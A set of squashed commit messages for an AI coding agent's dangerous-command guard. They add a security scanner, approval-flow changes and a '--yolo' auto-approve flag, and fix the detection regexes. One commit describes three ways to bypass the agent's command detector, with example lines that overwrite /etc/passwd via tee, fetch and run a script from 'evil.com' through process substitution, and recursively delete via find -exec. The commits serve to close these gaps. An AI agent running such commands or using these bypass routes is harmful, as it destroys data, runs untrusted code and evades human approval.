Restore gateway/run.py to current main behavior while keeping tirith startup
and pattern_keys replay, preserve yolo and non-interactive bypass semantics in
the combined guard, and add regression tests for yolo and view-full flows.
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
When a dangerous command is detected and the user is prompted for
approval, long commands are truncated (80 chars in fallback, 70 chars
in the TUI). Users had no way to see the full command before deciding.
This adds a 'View full command' option across all approval interfaces:
- CLI fallback (tools/approval.py): [v]iew option in the prompt menu.
Shows the full command and re-prompts for approval decision.
- CLI TUI (cli.py): 'Show full command' choice in the arrow-key
selection panel. Expands the command display in-place and removes
the view option after use.
- CLI callbacks (callbacks.py): 'view' choice added to the list when
the command exceeds 70 characters.
- Gateway (gateway/run.py): 'full', 'show', 'view' responses reveal
the complete command while keeping the approval pending.
Includes 7 new tests covering view-then-approve, view-then-deny,
short command fallthrough, and double-view behavior.
Closes community feedback about the 80-char cap on dangerous commands.
Authored by dmahan93. Adds HERMES_YOLO_MODE env var and --yolo CLI flag
to auto-approve all dangerous command prompts.
Post-merge: renamed --fuck-it-ship-it to --yolo for brevity,
resolved conflict with --checkpoints flag.
Adds a fun alias for skipping all dangerous command approval prompts.
When passed, sets HERMES_YOLO_MODE=1 which causes check_dangerous_command()
to auto-approve everything.
Available on both top-level and chat subcommand:
hermes --fuck-it-ship-it
hermes chat --fuck-it-ship-it
Includes 5 tests covering normal blocking, yolo bypass, all patterns,
and edge cases (empty string env var).
Add Daytona to image selection, container_config guards, environment
factory, requirements check, and diagnostics in terminal_tool.py and
file_tools.py. Also add to sandboxed-backend approval bypass.

Three attack vectors bypassed the dangerous command detection system:
1. tee writes to sensitive paths (/etc/, /dev/sd, .ssh/, .hermes/.env)
were not detected. tee writes to files just like > but was absent
from DANGEROUS_PATTERNS.
Example: echo 'evil' | tee /etc/passwd
2. curl/wget via process substitution bypassed the pipe-to-shell check.
The existing pattern only matched curl ... | bash but not
bash <(curl ...) which is equally dangerous.
Example: bash <(curl http://evil.com/install.sh)
3. find -exec with full-path rm (e.g. /bin/rm, /usr/bin/rm) was not
caught. The pattern only matched bare rm, not absolute paths.
Example: find . -exec /bin/rm {} \;
The regex pattern for detecting recursive delete commands (rm -r, rm -rf,
etc.) incorrectly matched filenames starting with 'r' — e.g., 'rm readme.txt'
was flagged as 'recursive delete' because the dash-flag group was optional.
Fix: make the dash mandatory so only actual flags (-r, -rf, -rfv, -fr)
are matched. This eliminates false approval prompts for innocent commands
like 'rm readme.txt', 'rm requirements.txt', 'rm report.csv', etc.
Before: \brm\s+(-[^\s]*)?r — matches 'rm readme.txt' (false positive)
After: \brm\s+-[^\s]*r — requires '-' prefix, no false positives
